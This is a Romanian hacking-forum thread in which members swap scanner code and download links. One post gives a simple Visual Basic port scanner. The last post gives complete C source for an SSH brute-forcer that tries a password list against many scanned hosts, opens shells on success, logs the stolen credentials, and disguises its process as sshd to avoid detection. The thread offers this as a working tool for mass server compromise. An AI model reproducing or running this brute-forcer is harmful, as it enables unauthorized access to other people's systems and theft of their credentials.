Filehost.ro - gazduire fisiere
Hacking and more...
HaCkinG CulT
Nou pe simpatie:
mary24
Femeie
24 ani
Braila
cauta Barbat
25 - 56 ani
Hacking and more...ReguliInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
Hacking and more... / HaCkinG Request /

sursa scanner

Pagini: 1 Moderat de Shocker, hfhun
#1
Y2K`
Elite Member
Din: 666
Postari: 970
are careva ceva sursa de scanner {daca nu, numa sursa ssh-scan}

thanx all :P



a si pentru a nu mai deschide alt topic sau sa postez auirea va scriu aicea ceva : fratilor vacanta asta nu o sa prea intru pe forum am treaba si sunt plecat  mai tot timpu


 
   
#2
Zero_Cool
Pe lista neagra
Postari: 796
mda si ce o sa faci la scanner, o sa modifici prima linie si o sa scrii Made by Y2K' ? 
tu tot timpu sti decat sa copiezi, pune mana si munceste !


 
   
#3
Y2K`
Elite Member
Din: 666
Postari: 970
nu ... nu e pentru mine ....

 
   
#4
N30
Little Kevin
Postari: 82
As putea sa iti dau eu dar...:

Code:

Upload-Speed: 0.03 KB/Sec, 38.9 minutes remaining.



_______________________________________


 
   
#5
Zero_Cool
Pe lista neagra
Postari: 796
@Y2k :

Mah nu e nevoie sa minti si asta e daca te`am judecat gresit.Ma rog ... hai sa te ajut
Fi atent intra pe http://shockingsoft.uv.ro/stuffs/scan.htm
Ia de acolo orice scanner copiezi numele la fisier si in browser adaugi la sfarsit numele ceva de genu :
http://shockingsoft.uv.ro/stuffs/scanner-ceatza.tar.tar
Scrie si pe site :P http://shockingsoft.uv.ro/stuffs/ARHIVA
Good luck !
A si p.s : pur si simplu deskizi fisierele in notepad si te uiti prin ele


 
   
#6
Crash Override
Helper
Din: HackPedia
Postari: 275

Y2K` a scris:

are
careva ceva sursa de scanner {daca nu, numa sursa ssh-scan}
thanx all :P
a si pentru a nu mai deschide alt topic sau sa postez auirea va scriu
aicea ceva : fratilor vacanta asta nu o sa prea intru pe forum am
treaba si sunt plecat mai tot timpu


Am scaneru lui SirVic , il stiu pe SirVic de ceva timp . Daca vrei iti dau scanneru lui

Ma mai gandesc , e fuking privat  si nu stiu daca pot sa am incredere in tine


_______________________________________
Hacking.3xForum.Ro - Helper

 
   
#7
Y2K`
Elite Member
Din: 666
Postari: 970
lol e public de mult ))))))) + un send mail

 
   
#8
DarkTempo
Elite Member
Postari: 556

StreSs a scris:

Am scaneru lui SirVic

si eu am matura lui george bush ... ar trebui sa mearga mai bine ? 
Anyway Y2K` ai incercat pe indianz.ch ? acolo erau intr-o vreme niste scannere ... nu stiu cat de bune erau dar poti sa incerci


_______________________________________
admin edit: poza mai mare de 300 x 100 pixeli

 
   
#9
Crash Override
Helper
Din: HackPedia
Postari: 275

DarkTempo a scris:


StreSs a scris:

Am
scaneru lui SirVic

si eu am matura lui george bush ... ar trebui sa mearga mai bine ?i

Probabil , dute pe camp si testeazo ! sau te angajez menajer  daca vrei

Y2K` a scris:

lol e public de mult ))))))) + un send mail


Lasa pela vechi cumetre .. , asta e nou inainte sa il ridice cu cateva zile in aruma :-)

Il am si pela vechi daca zici de asta  :

----------------------------------------------------
         --== SirVic's Private Scanner ==--
----------------------------------------------------
       Do NOT Share this shit, it's PRIVATE !
----------------------------------------------------

Da asta e public insa cel nou nu e public :-p, nu prea scanez , doar cand raman fara ca sa sa am dupa ce da spam


_______________________________________
Hacking.3xForum.Ro - Helper

 
   
#10
k4hvd
Grand Master
Din: Oradea
Postari: 322
y2k.. nu tu erai ala care pe ym mi s-a laudat ca a facut scannerul OradeaTeam? 

 
   
#11
Y2K`
Elite Member
Din: 666
Postari: 970
k4hvd nu e facut in totalitate de mine ! e facut de un vecin eu mam jucat prin pass_file

 
   
#12
Ras
Little Kevin
Postari: 45
Y2K` ...
Intra in VB fa un proiect nou.
Adauga Winsock Control (apesti CTRL + T si selectezi acolo).
Creeaza 2 textboxes, 2 buttons, 1 timer, 1 listbox, 1 winsock
Primul Textbox este pt IP, al doilea pt port, primul buton pt start, al doilea pt stop.
Pune timerul False si pune intervalu 10.


In primul buton scrii:
Private Sub Command1_Click()
Winsock1.RemoteHost = Text1.Text
Winsock1.RemotePort = Text2.Text
Winsock1.Connect
Timer1.Enabled = True
End Sub


In timer scrii:
Private Sub Timer1_Timer()
Winsock1.Close ' closes the last connection
Text2.Text = Int(Text2.Text) + 1
Winsock1.RemoteHost = Text1.Text
Winsock1.RemotePort = Text2.Text
Winsock1.Connect
End Sub


In winsock scrii:
Private Sub Winsock1_Connect()
List1.AddItem "Port " & Winsock1.RemotePort & " is having a yard sale."
End Sub


In al doilea buton scrii:
Private Sub Command2_Click()
Timer1.Enabled = False ' stops the scanning timer
Winsock1.Close ' closes any open winsock connection that was still open.
End Sub

Cam atat....sper sa iti fie de folos
bafta


 
   
#13
Shocker
Super Moderator
Din: localhost
Postari: 2084
Mi se pare mie sau asta e redundant:

Ras a scris:


Private Sub Timer1_Timer()
Winsock1.Close ' closes the last connection
Text2.Text = Int(Text2.Text) + 1
Winsock1.RemoteHost = Text1.Text
Winsock1.RemotePort = Text2.Text
Winsock1.Connect
End Sub



_______________________________________
ShockingSoft is back
Freakz only
Comics of the day

 
   
#14
blytz
Membru nou
Postari: 3
Shocker...ce vrei sa spui cu asta?...ce nu e bine?...fa`ne si pe noi sa intelegem...

 
   
#15
Shocker
Super Moderator
Din: localhost
Postari: 2084
http://dexonline.ro/search.php?cuv=redundant

Adica e in plus comanda subliniata de mine, deoarece de fiecare data se atribuie la winsock1.remotehost valoarea editbox-ului Text1. E destul o singura data sa dai [normal asa ar fi].

Oricum, e 'bun' scriptul respectiv. Daca il compilezi o sa vezi si ce face


_______________________________________
ShockingSoft is back
Freakz only
Comics of the day

 
   
#16
Y2K`
Elite Member
Din: 666
Postari: 970
hehehheh am facut rost de o sursa si uite ca vo dau si voua sa nu ziceti ca is bouuuuuuu

Code:

/*
 * by lizard
 *  some code ripped from haitateam's scanner.
 *   for daily jobs :)
 * Put the user/password in "pass.txt" in the format:
 *    user1 pass1
 *    user2 pass2
 *    user3 pass3
 * Cheers.
 * some code ripped from haitateam's scannah
 * - it fakes the proccesss name in ps list
 * - it gets users/password from a list
 * - some bugfixes
 * - optimized
 * TODO:
 *  - fix some bugs
 *  - make it to execute commands on the host it hacks.
 *  thanks go to ncv, for some ideeas for the code.
*/
#include <stdio.h>
#include <arpa/inet.h>
#include <libssh/libssh.h>
#include <netinet/in.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#define FAKE "/usr/sbin/sshd" // how do you want it to appear in ps ? :)

int flag,where;
int shell(SSH_SESSION *session){
 struct timeval;
 int err;
 BUFFER *readbuf=buffer_new();
 time_t start;
 CHANNEL *channel;
 channel = open_session_channel(session,1000,1000);
 if(isatty(0)) // Check if we got a tty.
   err=channel_request_pty(channel); // Request a pty.
 err= channel_request_shell(channel); // Request a shell =).
 start=time(0); // start teh timer
 while (channel->open!=0) // if we dont have a channel open..
   {
    usleep(500000); // sleep
    err=channel_poll(channel,0);
    if(err>0){ // do we have a shell ?
    err=channel_read(channel,readbuf,0,0); //read teh buffer in the channel
     }
    else
    {
     if(start+5<time(0))
     {
      return 1;
     }
    }
    }
    return 0;
   }
/* here comes the nice part
 * This function checks auth
 */

 void checkauth(char *user,char *password,char *host) {
  struct hostent *hp;struct in_addr  *myaddr;
  SSH_SESSION *session; // declare some session thingies
  SSH_OPTIONS *options;
  int argc=1;
  char *argv[]={"none"};
  FILE *vulnf,*nolog; // file where we log the shizz
  where++;
  alarm(10);
  options=ssh_getopt(&argc,argv);
  options_set_username(options,user);
  options_set_host(options,host);
  session=ssh_connect(options);
  if(!session) return ;
  if(ssh_userauth_password(session,NULL,password) != AUTH_SUCCESS) // if no shell, disconnect.
  {
   ssh_disconnect(session);
   return;
  }
  if(shell(session)) // if we got a session, then we printf() it and log it =>
  {
  if(!flag){
   myaddr=(struct in_addr*)malloc(sizeof(struct in_addr));
   myaddr->s_addr=inet_addr(host);
   hp = gethostbyaddr((char *) myaddr,4,AF_INET);
   if((hp!=NULL)){
   vulnf=fopen("vuln.txt","a+");
   fprintf(vulnf,"%s:%s %s | %sn",user,password,host,hp->h_name);
   printf("n-> %s:%s %s | %sn",user,password,host,hp->h_name);}
   else{
   vulnf=fopen("vuln.txt","a+");
   fprintf(vulnf,"%s:%s %s | host did not resolven",user,password,host);
   printf("n-> %s:%s %s | host did not resolven",user,password,host);
   }
 //  flag=1;
   fclose(vulnf);
  }
  }
  else{ // if ssh login is denied, printf() && log it
     myaddr=(struct in_addr*)malloc(sizeof(struct in_addr));
     myaddr->s_addr=inet_addr(host);
     hp = gethostbyaddr((char *) myaddr,4,AF_INET);
    nolog=fopen("nobash.txt","a+");
    if((hp!=NULL)){
    fprintf(nolog,"%s %s %s | %sn",user,password,host,hp->h_name);
    printf("nnobash -> %s %s %s | %sn",user,password,host,hp->h_name);}
 else
 {
  fprintf(nolog,"%s %s %s | no hostn",user,password,host);
    printf("nnobash -> %s %s %s | no hostn",user,password,host);}

    fclose(nolog);
  }
 }
 int main(int argc, char **argv)
 {
  FILE *fp,*passf;
  char *c;
  char buff[4096];
  char *a[80196], nutt[4096], *temp, *t, *string;
  malloc(sizeof(a));
  malloc(sizeof(nutt));
  int count = 0, i;
  int numforks,maxf;
  if((passf=fopen("pass.txt","r")) == NULL)
   { // here we scan the pass file for users and passwords.
   printf("FATAL: Cant find pass.txtn");
   return -1;
   }
    while (fgets(nutt,2024,passf))
       {
         while (t = strchr (nutt,'n'))
           *t = '';
         temp = strtok (nutt, " ");
         string = strdup (temp);
         a[count++]=string;
          while (temp = strtok (NULL, " "))
           {
               string = strdup (temp);
               a[count++]=string;
           }

              }
  fclose(passf);

  if(argc!=2)
  {
   printf("SSH bruteforcernrt - by lizardntUsage:");
   printf("ntt%s <max forks>n",argv[0]);
   exit(0);
  }
  if((fp=fopen("scan.log","r"))==NULL) exit(printf("FATAL: Cannot open scan.logn"));

  maxf=atoi(argv[1]);

strcpy(argv[0],FAKE);    // fake the proccess name.
  while(fgets(buff,sizeof(buff),fp))
  {
   c=strchr(buff,'n');
   if(c!=NULL) *c='';
   if (!(fork()))
   {
   where=0;
//   printf("Trying to pwn %s",buff);
  for (i=0; i<count; i=i+2){
//   printf("* Trying %s:%s %sn",a[i],a[i+1],buff);
      checkauth(a[i],a[i+1],buff); // try to auth
  }
   exit(0);
   }
   else
   {
  numforks++;
  if (numforks > maxf)
  for (numforks; numforks > maxf; numforks--)
  wait(NULL);
   }
  }
 }



 
   
Pagini: 1  
Mergi la